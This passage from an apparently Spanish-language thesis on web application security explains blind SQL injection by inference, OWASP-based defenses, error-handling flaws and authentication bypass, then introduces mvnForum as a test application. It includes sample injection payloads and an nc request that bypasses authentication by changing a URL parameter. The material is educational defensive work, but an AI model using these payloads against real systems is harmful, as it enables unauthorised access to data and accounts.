del campo Id:  

 
 
 
De esta manera estaremos creando la siguiente consulta:  
 
 

 
 
 
La respuesta obtenida desde el servidor (código HTML) corresponderá al valor falso 

de nuestras pruebas. Esto es suficiente para verificar si el valor obtenido tras la ejecución 
de la consulta de inferencia es igual al valor obtenido con el ataque que hemos 
comentado antes. A veces, este método no funciona. En el caso de que el servidor 
devuelva dos páginas diferentes como resultado de realizar dos peticiones idénticas y 
consecutivas, entonces no seremos capaces de discriminar el valor verdadero del falso. En 
estos casos particulares, es preciso utilizar determinados filtros que nos permitan eliminar 
el código que cambia entre las dos peticiones y obtener una plantilla. Más adelante, para 
cada petición de inferencia ejecutada, extraeremos de la respuesta la plantilla 
correspondiente, utilizando la misma función, y efectuaremos un control entre las dos 
plantillas para decidir cuál es el resultado del ataque. En las pruebas anteriores, se supone 
que conocemos de qué modo es posible comprender cuándo hemos llegado al final de la 
petición de inferencia, porque hemos obtenido el valor. Para ello, usaremos una 
característica de las funciones SUBSTRING y LENGTH. Cuando nuestro test devuelva 
un valor verdadero y hayamos utilizado un código ASCII igual a 0 (el valor nulo), 
entonces eso significa que hemos terminado la inferencia, o bien que el valor analizado 
efectivamente contiene el valor null. 

Insertaremos el siguiente valor para el campo Id:  
 
 

 
 
y donde N es el número de caracteres que hemos analizado (excluido el valor null). La 

consulta será:  
 

 
 

 
$Id=1' AND '1' = '2  

 

SELECT field1, field2, field3  
FROM Users  
WHERE Id='1' AND '1' = '2'  

 

$Id=1' AND LENGTH(username)=N AND '1' = '1  
 

SELECT field1, field2, field3  
FROM Users  
WHERE Id='1' AND LENGTH(username)=N AND '1' = '1'  
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Esto nos devuelve un valor que podrá ser verdadero o falso. Si obtenemos un valor 
verdadero, entonces hemos terminado de hacer inferencia y por lo tanto ya tenemos el 
valor del parámetro. Si obtenemos un valor falso, significa que el carácter null está 
presente en el valor del parámetro, y deberemos continuar analizando el siguiente 
parámetro hasta encontrar otro valor null. 

 

Protección y Tratamiento contra Inyección SQL  
 
Teniendo en cuenta que la inyección SQL es un ataque por entrada no validada, la principal 
defensa contra el mismo es realizar una validación de los datos que llegan desde el cliente; y 
la segunda cuestión a tener en cuenta es que todos los datos enviados a servidores de base de 
datos deben estar liberados de meta-caracteres, es decir que nunca se deben realizar 
concatenaciones de strings con contenido no chequeado[OWASP8]. 
Hay métodos complementarios y efectivos contra este tipo de ataques, como son: 

 
• Usar parámetros tipados para realizar consultas parametrizadas. 
 
• Usar procedimientos almacenados parametrizados cuidadosamente. 
 
• Implementar filtros de validación rigurosos para dejar pasar solamente patrones 
conocidos y no dejar pasar patrones conocidos pero peligrosos (Ej.: select, delete, drop, 
etc). 
 
• Correr el servicio de base de datos con un usuario con los privilegios necesarios y no 
como administrador del sistema, para evitar que se pueda tomar control del mismo desde 
la base de datos. 
 
• Eliminar procedimientos almacenados obsoletos o restringir su acceso solo a los 
administradores. 
 
• Modificar los permisos y eliminar los accesos públicos de los objetos de sistema. 
 
• Mantener el servidor protegido por un firewall para restringir el acceso únicamente 
desde la red a clientes conocidos. 
 
• Deshabilitar el acceso por parte de clientes previamente autenticados en otros 
servidores. 
 
• Mantener un logging de los posibles intentos de inyección SQL que el sistema 
detecte, como así también bloquear la dirección IP en cuestión. Esta acción es 
considerada una buena práctica 

 
El uso de procedimientos almacenados parametrizados es un mecanismo efectivo para 

evitar la mayoría de las formas de los ataques de inyección SQL. En combinación con las 
consultas con parámetros tipados, es poco probable que ocurran ataques de inyección SQL 
[OWASP10]. Sin embargo, existen algunas otras cuestiones a tener en cuenta: 

 
• Ejecutar consultas generadas dinámicamente podría permitir inyecciones SQL. 
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• Utilizar siempre usuarios con los permisos justos y necesarios para la tarea que se 

requiere.  
 

• Nunca utilizar los usuarios administradores de las bases de datos. (‘sa’, ‘admin’, 
‘dba’, etc). 

 
• Evitar la utilización de nombres dinámicos de tablas. Si se requiere de su uso, evitar 

que el usuario sea el que ingrese el nombre. Si el usuario debe ingresar el nombre de 
la tabla, utilizar siempre una lista blanca de caracteres aceptados para los nombres y 
especificar un tamaño máximo para el mismo. 

 

Testeo de Inyección SQL  
 

Pruebas de caja negra 
El primer paso en este test es comprender cuándo se conecta nuestra aplicación a un 

servidor de bases de datos para acceder a algún dato. Los casos típicos de ejemplos donde 
una aplicación necesita conectarse a la base de datos incluyen [OWASP7]: 

 
• Formularios de Autenticación: cuando la autenticación se realiza utilizando 

un formulario web, hay bastantes posibilidades de que las credenciales del 
usuario se estén comprobando contra una base de datos, la cual contiene 
todos los usuarios y contraseñas (o los correspondientes hashes de las 
contraseñas).  

• Motores de búsqueda: la cadena enviada por el usuario se podría usar en 
una consulta SQL para extraer registros relevantes de la BD.  

• Webs de comercio electrónico: los productos y sus características (precio, 
descripción, disponibilidad, etc) son almacenados frecuentemente en una base 
de datos relacional.  

 
Para realizar las pruebas, deberemos hacer un listado de todos los campos de 

entrada de datos cuyos valores puedan ser utilizados para construir una consulta 
SQL. Incluiremos también los campos ocultos de las peticiones HTTP POST y 
posteriormente, los iremos comprobando de forma separada, intentando interferir con 
el funcionamiento “normal” de la consulta y provocar un error. El test inicial 
normalmente consiste en añadir una comilla simple (‘) o un punto y coma (;) en el 
campo objeto de las pruebas. La comilla se utiliza en el lenguaje SQL como un 
carácter de fin de cadena y, si la aplicación no la filtra adecuadamente podría 
provocar una consulta incorrecta. El punto y coma, se utiliza para terminar una 
sentencia y, si no se filtra adecuadamente, también es susceptible de generar un error. 

 
La salida procedente de interactuar con un campo vulnerable podría parecerse a la 

siguiente,  en este caso en un servidor Microsoft SQL Server: 
 

  

Microsoft OLE DB Provider for ODBC Drivers error '80040e14' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark 
before the character string ''. 
/target/target.asp, line 113 
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También los comentarios (--) y otras palabras reservadas del lenguaje SQL como 

AND y OR se pueden utilizar para intentar modificar la consulta. Una técnica muy 
simple pero que todavía es efectiva en algunas ocasiones es insertar una cadena 
donde se espera un número, de modo que se generaría un error similar al siguiente:  

 

 
  

 
Un mensaje de error tan completo como los mostrados anteriormente proporciona 

gran cantidad de información a la persona que está realizando las pruebas, para crear 
una inyección con posibilidades de éxito. Sin embargo, las aplicaciones a menudo no 
proveen tantos detalles: en ocasiones tan sólo muestran un simple ‘500 Server Error’ 
o una página de error personalizada, lo cual significa que tendremos que utilizar 
técnicas de inyección ciega (Blind SQL Injection). En cualquier caso, es muy 
importante comprobar cada campo por separado: sólo una variable debe cambiar, 
mientras que las demás permanecerán constantes para la prueba, con el fin de 
identificar de forma precisa cuáles de los parámetros son vulnerables y cuáles no. 

 

Uso de Herramientas 
 

Ya hemos mencionado que existe la categoría de inyección SQL llamada inyección a ciegas 
(Blind SQL Injection) en la que no sabemos nada del resultado producido por una 
operación. Este comportamiento sucede en casos donde el programador ha creado una 
página de error personalizada que no revela nada sobre la estructura de la consulta ni sobre 
la base de datos. No devuelve ningún error SQL, quizá devuelva simplemente un error 
HTTP 500.  

Utilizando métodos de inferencia es posible evitar este obstáculo, y por lo tanto, 
recuperar con éxito los valores de algunos campos que nos interesen. La idea consiste en 
llevar a cabo una serie de consultas de tipo booleano, observando las respuestas y finalmente 
deduciendo el significado de esas respuestas.  

El ataque de inyección ciega, requiere un elevado número de peticiones. Quizá 
necesitemos echar mano de alguna herramienta automatizada para explotar esta 
vulnerabilidad. SqlDumper es una herramienta sencilla que realiza esta tarea, efectuando 
peticiones HTTP GET sobre una aplicación con acceso a una Base de Datos MySql. La 
Figura 2 nos muestra una captura de la pantalla de dicha herramienta [OWASP7]. 

  

Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting 
the varchar value 'test' to a column of data type int. 
/target/target.asp, line 113 
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Figura 2: Ataque de inyección usando SqlDumper 

 
 

3.2.3.3 Manejo inadecuado de errores 
 

Descripción 
 
El manejo inadecuado de errores puede introducir variados problemas de seguridad a un 
sitio web. El error más común es cuando información detallada de mensajes error, como 
rastreos de pila, volcados de bases de datos y códigos de error son mostrados al usuario, el 
cual podría ser un potencial atacante. Estos mensajes revelan detalles de la implementación 
que nunca deberían ser mostrados al exterior [OWASP5]. 

Tales detalles pueden proveer a los atacantes de pistas importantes sobre potenciales 
fallas en la aplicación web y tales mensajes de error son también perturbadores para los 
usuarios normales. 

Las aplicaciones web frecuentemente generan condiciones de error durante su operación 
normal: falta de memoria, excepciones por punteros nulos, invocaciones fallidas al sistema, 
servidor de base de datos no disponible, tiempo de espera de red agotado, entre otras 
condiciones comunes que pueden causar la generación de errores.. Estos errores deben ser 
manejados de acuerdo a un esquema bien definido que provea al usuario de un mensaje de 
error con sentido, información de diagnóstico para quienes mantienen el sitio, y ninguna 
información útil para un potencial atacante. Incluso cuando los mensajes de error no proveen 
muchos detalles, las inconsistencias en tales mensajes pueden revelar pistas importantes de 
cómo funciona un sitio y qué información subyacentemente está presente.  

Por ejemplo, cuando un usuario trata de acceder a un archivo inexistente, el mensaje de 
error  tradicionalmente indica “archivo no encontrado”. Cuando se accede a un archivo al 
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que el usuario no está autorizado, se indica “acceso denegado”. Se supone que el usuario no 
debe saber siquiera si existe el archivo, pero tales inconsistencias claramente revelan la 
presencia o ausencia de archivos que deberían ser inaccesibles de todos modos, o la 
estructura de directorios del sitio. 

Un problema común de seguridad causado por el manejo inadecuado de errores es la 
prueba de seguridad de apertura de archivos. Todos los mecanismos de seguridad deben 
negar el acceso hasta que sea específicamente otorgado, y no otorgar acceso hasta que sea 
negado, lo cual es una razón común de porqué ocurren los errores de apertura de archivos. 
Otros errores pueden causar que el sistema se caiga o consuma recursos significativos, 
negando o reduciendo efectivamente el servicio a usuarios legítimos. 

Un buen mecanismo de manejo de errores debe ser capaz de manejar cualquier conjunto 
de entradas posible, mientras fomenta una seguridad apropiada. Mensajes de error simples 
deben ser producidos y registrados de tal manera que su causa, ya sea un error en el sitio o 
un intento de ataque, pueda ser revisada. El manejo de errores debe no sólo enfocarse en las 
entradas provistas por el usuario, sino que deben también incluir cualquier error que pueda 
ser generado por componentes internos tales como llamadas al sistema, consultas sobre 
bases de datos, o cualquier otra función interna. 

 

Alcance 
 

Toda información que un atacante recibe acerca de un sistema o aplicación es un arma 
muy valiosa. Es trabajo de los diseñadores y programadores de las aplicaciones mantener 
estas armas lejos de potenciales atacantes. Sin embargo, la mayoría de las aplicaciones web 
no están preparadas para manejar errores, y en consecuencia presentan un manejo 
inadecuado de errores [YANG1]. 

Como los errores contienen información muy valiosa para el debugging, los mensajes 
que estos emiten están pensados para personas que se encargan de solucionarlos. Los 
problemas surgen cuando estos mensajes llegan hasta el usuario final y son utilizados para 
realizar ataques. 

Un mal manejo de errores puede resultar en: 
 

• Divulgación de información acerca del sistema que permite a potenciales atacantes 
seleccionar qué técnicas utilizar y qué debilidades del sistema explotar para intentar 
obtener acceso al mismo. 

 
• Utilización de errores inesperados en aplicaciones para dejarlas fuera de línea, 

favoreciendo lo que se denomina ataque de negación de servicio. Este tipo de ataque 
es creado aprovechando condiciones de error que consumen recursos del sistema, 
tales como CPU o memoria. 

Ejemplos típicos de manejo inadecuado de errores 
 

Veamos ahora situaciones encontradas frecuentemente en sistemas con un manejo 
inadecuado de errores: 
 

• Un atacante intenta ingresar en un sistema utilizando lo que se denomina fuerza bruta, 
y encuentra errores con datos específicos que le son de mucha utilidad, como por 
ejemplo errores del tipo “usuario inválido” o “contraseña inválida” en lugar de un 
mensaje genérico de error de loguin como podría ser “loguin incorrecto” [SEAR1]. 
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• El atacante puede determinar qué directorios o archivos existen en un servidor web si 

el mensaje de error al intentar acceder a los mismos hace distinción entre los no 
existentes (“directorio o archivo no encontrado”) y los existentes pero sin permiso 
para accederlos (“usuario no autorizado para acceder al recurso”) [SEAR1]. 

 
• El atacante se encuentra con errores que evidencian la fuente, con el path completo de 

archivos ejecutables o de datos,  y pueden ayudarle a entender cómo están organizadas 
las cosas dentro del sistema y hasta a veces revelan ciertos hosts de interés [SEAR1]. 

 
• Errores de base de datos pueden que ser de suma utilidad para potenciales atacantes, 

proveyéndolos con nombre de hosts o sistemas internos, como base de datos, tablas, y 
campos de las mismas. Estos datos pueden ser utilizados como información para 
construir ataques de inyección SQL [SEAR1]. 

 

Tratamiento para el manejo inadecuado de errores 
 

Una política específica de cómo manejar errores debería ser documentada, incluyendo los 
tipos de errores a ser manejados y, para cada uno de ellos, qué información debe ser 
reportada al usuario y qué información será registrada para un análisis posterior. Todos los 
desarrolladores necesitan entender la política y asegurarse que su código la respete. 

Cuando los errores ocurran, el sitio debe responder con un resultado específicamente 
diseñado que sea de ayuda al usuario, sin que revele detalles internos innecesarios. Ciertas 
clases de errores deben ser registrados para ayudar a detectar errores de implementación en 
el sitio y/o intentos de ataque. 

Muy pocos sitios tienen alguna habilidad para la detección de intrusos en su aplicación 
web, pero es posible que una aplicación web pueda rastrear repetidos intentos fallidos y 
generar alertas. La gran mayoría de ataques a aplicaciones web no son detectados nunca 
porque muy pocos sitios tienen la capacidad para hacerlo, por lo tanto, el éxito de los 
ataques contra la seguridad de aplicaciones web parece ser seriamente subestimado 
[OWASP5]. 

Dentro de las aplicaciones web, se deben definir páginas de errores por defecto para los 
errores más comunes, como pueden ser “404 – file  not found” o “500 – internal server 
error”, y para manejar excepciones de tipo java.lang.Throwable. De esta manera se le 
impediría al atacante recolectar información produciendo errores comunes de los 
contenedores web y analizando la página resultante. Por ejemplo: el mensaje “404 – file not 
found”, le indicaría que el archivo que se intentó acceder no existe, en lugar de decir que no 
se tiene acceso al mismo. 

Como los mensajes de error contienen información valiosa para debugging , están 
pensados para aquellos que detectan y corrigen los problemas. Cuando usuarios finales 
tienen acceso a estos mensajes de error, surgen los problemas, ya que pueden usar esa 
información para realizar un ataque, para determinar qué tipo de ataque realizar, para 
obtener información específica de un sistema, para intentar dejar una aplicación fuera de 
línea, o en el peor de los casos  lograr un buffer o stack overflow que le permita la ejecución 
arbitraria de comandos. 

Un programador no tendría que tener en cuenta el sistema operativo con cual trabaja, ni 
servidor, ni base de datos para manejar los errores. Todo tipo de errores debería estar 
contemplado en el código fuente. Toda aplicación bien diseñada, debería incluir 
manejadores de errores que se anticipen a condiciones de errores, tanto esperadas como 
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inesperadas. Estos manejadores deberían ser capaces de obtener la información relevante y 
detallada del error y almacenarla en un lugar seguro, logging del error, para su posterior 
análisis, y además presentarle al usuario un mensaje de error genérico sin información 
sensible. Todos los errores almacenados deberían capturar la identificación de usuarios, 
direcciones IP, día y hora del error, etc. 

Igualmente realizar el logging de errores no alcanza. Los datos almacenados deben ser 
analizados para tratar de encontrar patrones que ayuden a detectar ataques. Si el log de los 
errores muestra que varios errores son tratados por un manejador general de la aplicación, 
habría que analizar la forma de ser más específicos en el manejo y modificar la aplicación 
para que traten los errores de manera más específicos. 

Las mejores prácticas requieren que los diseñadores y programadores piensen como un 
atacante. Al momento de definir un mensaje de error, se debería pensar si se le está dando al 
usuario información que no tendría que conocer y podría usar más tarde [OWASP6]. 

 
Mensajes de errores genéricos 
Se deberían utilizar mensajes para los errores genéricos y que nunca provengan de las 
propias excepciones lanzadas en la aplicación, que podrían contener el stack trace, número 
de línea dónde se produjo la excepción, nombre de la clase o método. 
Tampoco se debería exponer en los mensajes de error información sobre el sistema de 
archivos tales como paths. No se deben incluir ninguna clase de nombres personales que 
permita realizar algún tipo de ingeniería social. 
 
Excepciones en Java 
 
En Java existe el concepto de objeto de error, que es representado por la clase Exception del 
paquete java.lang, y que es subclase de Throwable. Las excepciones son lanzadas cuando 
sucede algo anormal en el curso de ejecución de un programa.. Existe otro objeto que 
extiende de Throwable y se llama Error,   que se lanza cuando algo más serio ocurre, por 
ejemplo falta de memoria en el sistema o fallas internas en la JVM (Java Virtual Machine). 
En general las excepciones están relacionadas a errores de la aplicación y los errores a fallas 
internas del sistema. 
Pueden ocurrir fallas cuando desarrolladores utilizan algún método que debido a estrategias 
pobres de tratamiento de errores provoca que información del mensaje llegue hasta el 
usuario final. Algunos de éstos métodos son: printStackTrace() o getStackTrace(). 
 
Liberación recursos 
 
Si el lenguaje que se utiliza provee algún tipo de cláusula o método finally, es buena 
práctica hacer uso del mismo, ya que asegura que de cualquier manera se ejecutará dicho 
bloque de código, aunque se produzca un error. Entonces, se podría utilizar para liberar 
recursos que se han tomado y que ya no se utilizarán, como por ejemplo conexiones con 
bases de datos. Java provee de una cláusula finally que permite escribir código que libere 
recursos cuando se produce un error, en realidad el bloque finally se ejecuta siempre 
(cuando se produce o no un error). Forma parte de la sintaxis provista para implementar 
manejadores de excepciones. 
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3.2.3.4 Autenticación y Control de Acceso deficientes 

Descripción 
 

En seguridad informática, autenticación es el proceso de intentar verificar la identidad 
digital del remitente de una comunicación. Un ejemplo común es el proceso de registro en 
un sistema.  

La administración de autenticación y sesión incluye todos los aspectos del manejo de la 
autenticación de usuario y la administración de sesiones activas. La autenticación es un 
aspecto crítico de este proceso, pero inclusive mecanismos de autenticación sólidos pueden 
ser minados por funciones de administración de credenciales defectuosas, incluyendo el 
cambio de contraseña, olvidé mi contraseña, recordar mi contraseña, actualización de cuenta 
y otras funciones relacionadas.  Debido a que los ataques de paso (“walk by”) son 
probablemente dirigidos a muchas aplicaciones Web, todas las funciones de administración 
de cuentas requerieren re-autenticación aún si el usuario cuenta con una identificación de 
sesión válido. 

La autenticación de usuario en aplicaciones web típicamente involucra el uso de un id 
(identificación) de usuario y una contraseña. Métodos más sólidos de autenticación tales 
como software y hardware basados en tokens criptográficos o biometría están 
comercialmente disponibles, pero tales mecanismos son de un costo prohibitivo para la 
mayoría de las aplicaciones web.  

Los equipos de desarrollo frecuentemente menosprecian la complejidad de diseñar un 
esquema de administración de autenticación y sesión que proteja adecuadamente las 
credenciales en todos los aspectos del sitio. 

Las aplicaciones Web deben establecer sesiones para mantener el rastro del flujo de 
peticiones de cada usuario. El protocolo HTTP no provee esta capacidad, así que las 
aplicaciones web deben crearlas por sí mismas. Frecuentemente, los ambientes de aplicación 
web proveen una capacidad de sesión, pero muchos desarrolladores prefieren crear sus 
propios tokens de sesión. En cualquier caso, si los tokens de sesión no están apropiadamente 
protegidos, un atacante puede apropiarse de una sesión activa y asumir la identidad del 
usuario. Diseñar un esquema para crear tokens sólidos de sesión y protegerlos a través de su 
ciclo de vida ha probado su efectividad para muchos desarrolladores. 

A menos que todas las credenciales de autenticación e identificadores de sesión sean 
protegidos con SSL (Secure Sockets Layer) todo el tiempo y, a su vez protegidos contra su 
revelación por causa de otras fallas, tales como “cross site scripting”, un atacante puede 
apropiarse de la sesión del usuario y asumir su identidad. 

Cuando se implementa autenticación en un sistema, el método más comúnmente usado 
requiere que el usuario ingrese un login y un password. El login puede ser el id del usuario, 
su dirección de e-mail o alguna otra información. Cuando esta autenticación está 
apropiadamente implementada, será lo suficientemente segura en la mayoría de los sistemas 
web. 

Uno de los errores más comunes cuando se implementa este tipo de autenticación es que 
el password es enviado usando el método HTTP GET. Los parámetros del método GET 
pueden quedar almacenados en los servidores proxy y en el servidor HTTP del sistema, por 
lo tanto, no está garantizado que esta información nunca caerá en manos de usuarios 
maliciosos. Para evitar esto, el login y password pueden ser enviados usando el método 
HTTP POST o en la cabecera HTTP. Sin embargo, en todas estas formas de envío 
mencionadas el password es enviado al servidor como texto plano y por lo tanto puede ser 
interceptada en cualquier nodo intermedio. Para protegerse contra tal intercepción, debe 
utilizarse HTTPS (Hypertext Transfer Protocol over Secure Sockets Layer). 
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El control de acceso, algunas veces llamado autorización, “es el cómo” una aplicación 
web permite el acceso a contenido y funciones a algunos usuarios y a otros no. Estas 
verificaciones son desarrolladas después de la autenticación, y gobiernan lo que pueden 
hacer los usuarios “autorizados”. El control de acceso suena como un problema simple pero 
es difícil de implementar correctamente. El modelo de control de acceso de una aplicación 
web está íntimamente ligado con el contenido y funciones que el sitio provee. Además, los 
usuarios pueden caer dentro de un número de grupos o roles con diferentes capacidades o 
privilegios. 

De la misma manera que ocurre con el diseño de un esquema de administración de 
autenticación y sesión, los desarrolladores frecuentemente menosprecian la dificultad de 
implementar un mecanismo de control de acceso confiable. Muchos de estos esquemas no 
fueron diseñados premeditadamente, sino que han evolucionado junto con el sitio web. En 
estos casos, las reglas de control de acceso son insertadas en múltiples ubicaciones en todo 
el código. Cuando se realiza el despliegue del sitio, la colección ad-hoc de reglas es muy 
difícil de manejar y casi imposible de comprender [OWASP1]. 
 

Consecuencias de una Autenticación y Control de Acceso deficientes 
 

Una amplia colección de defectos en la administración de cuentas y sesiones puede traer 
como consecuencia el comprometer las cuentas de usuario o administración del sistema. 
Tras vulnerar el sistema de autenticación y control de acceso de un sistema, un usuario 
malicioso podría tener acceso a [OWASP1]: 

 
• Información / datos confidenciales: secciones privadas de la aplicación web, podrían 
descubrir documentos confidenciales, datos de perfil de usuario, estados financieros, 
detalles bancarios, relaciones personales del usuario, etc.  
 
• Paneles de administración: estas secciones son utilizadas por los webmasters para 
gestionar (modificar, borrar, añadir) los contenidos de las aplicaciones web que se 
proveen a los usuarios, asignar diferentes privilegios a los usuarios, etc.  
 
• Disponibilidad de vectores de ataque posteriores: las secciones privadas de una 
aplicación web podrían ocultar vulnerabilidades peligrosas y contener funcionalidades 
avanzadas no disponibles a los usuarios públicos.  

 

Ejemplos de ataques a aplicaciones con Autenticación y Control de Acceso deficientes 
 

Petición directa de páginas 
 
Si una aplicación web implementa control de acceso tan solo en la página de registro, el 
sistema de autenticación puede saltarse. Por ejemplo, si un usuario realiza directamente una 
petición de una página diferente vía navegación forzada, la página puede no verificar las 
credenciales del usuario antes de concederle acceso [OWASP3]. 
 
Modificación de Parámetros 
 
Otro problema relacionado al diseño de autenticación sucede cuando la aplicación verifica 
un registro correcto basado en parámetros de valor fijo. Un usuario podría modificar estos 
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parámetros para obtener acceso a las áreas protegidas sin proporcionar credenciales válidas. 
En el siguiente ejemplo, el parámetro "authenticated" es cambiado al valor de "sí", que 
permite al usuario obtener acceso. En este ejemplo, el parámetro está en la URL, pero 
también podría utilizarse un proxy para modificar el parámetro, especialmente cuando los 
parámetros son enviados como elementos de un formulario a través de un envío POST 
[OWASP3]. 
 
  
 

 
 

Tratamiento a la Autenticación y Control de Acceso deficientes 
 

Autenticación  
 

El uso apropiado y cuidadoso de mecanismos de administración de autenticación y 
sesión hechos a medida deben reducir significativamente la probabilidad de algún problema 
en ésta área. Definiendo y documentando la política de administración segura de las 
credenciales de usuario del  sitio a es un  buen comienzo. Asegurar que su implementación 
refuerza consistentemente esta política es la clave para tener un mecanismo de 
administración de autenticación y sesión seguro y robusto. Veamos algunos puntos a tener 
en cuenta: 

• Establecer al menos un mecanismo de autenticación de usuarios (por ej.: id de 
usuario y contraseña) que permita a la aplicación identificar los diferentes usuarios y 
asegurarse de que son quiénes dicen ser. 

• Establecer restricciones sobre las contraseñas que impongan un tamaño y 
complejidad mínima . La complejidad típicamente requiere el uso de combinaciones 
mínimas de caracteres alfabéticos, numéricos, y/o no-alfanuméricos en la contraseña 
de usuario (ej., por lo menos uno de cada uno). 

• Requerir periódicamente a los usuarios que cambien su contraseña. 

 
http://www.site.com/page.asp?authenticated=no  
 
raven@blackbox /home $nc www.site.com 80                     
GET /page.asp?authenticated=yes HTTP/1.0                     
                                                             
HTTP/1.1 200 OK                                              
Date: Sat, 11 Nov 2006 10:22:44 GMT                          
Server: Apache                                               
Connection: close                                            
Content-Type: text/html; charset=iso-8859-1                  
                                                             
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">          
<HTML><HEAD>                                                 
</HEAD><BODY>                                                
<H1>You Are Auhtenticated</H1>                               
</BODY></HTML> 
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• No revelar las fallas en la autenticación, el sistema no debe indicar si fue el nombre 
de usuario o la contraseña lo que estaba equivocado cuando falla un intento de 
conexión. 

• Almacenar todas las contraseñas en forma encriptada o como hashes para protegerlas 
de ser expuestas. La forma de hash es preferible ya que no es reversible. La 
encriptación debe ser usada cuando se necesita la contraseña en texto plano, tal como 
cuando se utiliza la contraseña para conectarse a otro sistema. Las contraseñas nunca 
deben ser insertadas directamente en el código fuente. Las llaves de descifrado deben 
ser protegidas fuertemente para asegurar que no puedan ser arrebatadas y usadas para 
descifrar el archivo de contraseñas. 

• Proteger los ids de sesión. En primera instancia, éstos nunca deben ser incluidos en 
la URL ya que pueden ser capturados en memoria rápida (“cached”) por el 
navegador, enviados en la cabecera referenciada o accidentalmente re-enviados a un 
‘amigo’. Los ids de sesión deben ser números largos, complicados y aleatorios que 
no puedan ser fácilmente adivinados.  

• No suministrar los datos de autenticación y sesión como parte de un HTTP GET, en 
su lugar siempre debe ser utilizado HTTP POST.  

 
 

El uso de Cookies para la gestión de sesiones 
 
Las cookies son utilizadas para implementar la gestión de sesiones, y son descritas en detalle 
en el RFC 2965 [RFC2965]. Cuando un usuario accede a una aplicación que necesita 
mantener un registro de las acciones que se realizan e identificar al usuario a través de 
múltiples peticiones, el servidor genera y envía cookies al cliente, quién las enviará de 
nuevo al servidor en todas las conexiones posteriores hasta que la cookie expire o sea 
destruida. Los datos almacenados en la cookie pueden aportar al servidor un amplio espectro 
de información acerca de quién es el usuario, qué acciones ha realizado hasta el momento, 
cuáles son sus preferencias, etc. proporcionando así un estado a un protocolo sin estados 
como es HTTP. 

 Las cookies son un método eficiente para almacenar y pasar esta información en ambos 
sentidos, cliente y servidor. 

Debido a la importancia de los datos que almacenan, las cookies son por tanto vitales en 
la seguridad global de la aplicación. Poder manipular las cookies podría tener como 
resultado secuestrar las sesiones de usuarios legítimos, obtener mayores privilegios en una 
sesión activa y, en general, influenciar las operaciones de la aplicación de forma no 
autorizada. En esta comprobación tenemos que revisar si las cookies enviadas a los clientes 
pueden resistir un amplio rango de ataques que tienen el objetivo de interferir las sesiones de 
usuarios legítimos y la propia aplicación. El objetivo global es poder generar una cookie que 
sea considerada válida por la aplicación y que no proporcione algún tipo de acceso no 
autorizado.  

 
Control de Acceso 

 
El paso más importante es pensar a partir de los requisitos de control de acceso de una 
aplicación y capturar este pensamiento en una política de seguridad para aplicaciones web. 
Recomendamos encarecidamente el uso de una matriz de control de acceso para definir las 
reglas de control de acceso. Sin documentar la política de seguridad, no existe una 
definición de lo que significa estar seguro para ese sitio. La política debe documentar qué 
tipos de usuarios pueden acceder al sistema y a cuáles funciones y contenidos se les debería 
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permitir el acceso a cada uno de estos tipos de usuarios. El mecanismo de control de acceso 
debe ser probado extensivamente para asegurar que no hay forma de evitarla. Estas pruebas 
requieren de una variedad de cuentas e intentos exhaustivos para acceder contenidos o 
funciones no autorizadas. Muchos sitios requieren que los usuarios pasen por ciertas 
verificaciones antes de que se les garantice el acceso a ciertos URLs que están típicamente 
colocados ‘más profundamente’ en el sitio. Estas verificaciones no deben ser evitables por 
un usuario que simplemente se salta la página que contiene la verificación de seguridad 
[OWASP1]. 
 

Testeo de Autenticación y Control de acceso 
 

Prueba de “salteo” del sistema de autenticación 
 
Aunque la mayoría de aplicaciones requiere autenticación para obtener acceso a información 
privada o ejecutar tareas, no todos los métodos de autenticación pueden proveer seguridad 
adecuada. La ignorancia, negligencia o simplemente el hecho de subestimar las amenazas de 
seguridad a menudo tienen por resultado sistemas de autenticación que pueden saltarse 
simplemente pasando de la página de registro e invocando directamente a una página interna 
que se supone que debe ser accedida solamente después de que se haya realizado la 
autenticación. 

Además, a menudo es posible saltarse las medidas de autenticación alterando o 
modificando las peticiones, y engañando a la aplicación para que piense que ya estamos 
autenticados. Esto puede conseguirse modificando la URL dada como parámetro, o 
manipulando un formulario, o falsificando sesiones. 

 
Comprobación de vulnerabilidades en directivas GET y POST 
 
En general, las peticiones HTTP GET no deberían de ser usadas como Identificadores de 
Sesión ya que pueden ser expuestas en los registros de un proxy o de un cortafuego. 
También son más fácilmente manipulables que otros tipos de transporte, aunque hay que 
destacar que la mayoría de los mecanismos pueden ser manipulables por el cliente con las 
herramientas adecuadas. Los ataques de XSS (Cross Site Scripting), por ejemplo, son mucho 
más fácilmente explotables enviando un enlace manipulado a la victima. Esto es mucho 
menos probable si los datos son enviados desde el cliente mediante directivas HTTP POST 
[OWASP3]. 
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Capitulo 4 – Foro Vulnerable: nuestra aplicación objetivo  

4.1 Un Foro de código fuente abierto: mvnForum 

Para analizar la viabilidad del uso de POA para tratar vulnerabilidades en aplicaciones web, 
decidimos enfocarnos sobre un dominio de aplicación que requiera una amplia interacción con el 
usuario, y que por lo tanto nos facilite el trabajo con todas las vulnerabilidades propuestas. Es por 
eso que elegimos tratar la seguridad de un Foro Web.  

Para implementar un Foro Web que presente las vulnerabilidades a tratar, nos basamos en el 
software mvnForum [MVN], del cual extrajimos las partes de código que implementaban la  
seguridad. mvnForum es un foro de código fuente abierto y fácil de configurar, construido sobre la 
tecnología J2EE.  

4.1.1 Arquitectura de mvnForum 
mvnForum es una aplicación 3-tier3 compuesta por: un cliente web o navegador de Internet, un 
servidor de aplicaciones J2EE donde residen los componentes de la interfaz web y del modelo y 
una base de datos. La Figura 3, grafica la descripción dada.  

 

Figura 3: Organización física de  mvnForum 

 

El servidor de aplicaciones web J2EE, administra los componentes server-side que 
constituyen mvnForum: ForumServlet es un servlet que atiende los requerimientos web 
provenientes del navegador web (1). Deriva las peticiones a sus correspondientes manejadores 
(2), Handlers, quiénes son los encargados de procesar la petición; están implementados como 

                                                
3 Tier hace referencia a la organización física de una aplicación distribuida 
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objetos POJOs (Plain Old Java Object) [POJO]. Los Handlers interactúan con los objetos del 
modelo, Beans, quienes delegan el acceso a la base de datos en objetos POJOS denominados 
Helpers (3). El resultado del procesamiento de los Handlers es devuelto a ForumServlet (4), 
quién a su vez delega en un Handler específico, URLMapHandler, la determinación de la 
página JSP (Java Server Pages) de respuesta (5-6). La Figura 4, ilustra la arquitectura de 
mvForum y la interacción de sus componentes principales. 
 

 
 

 
 

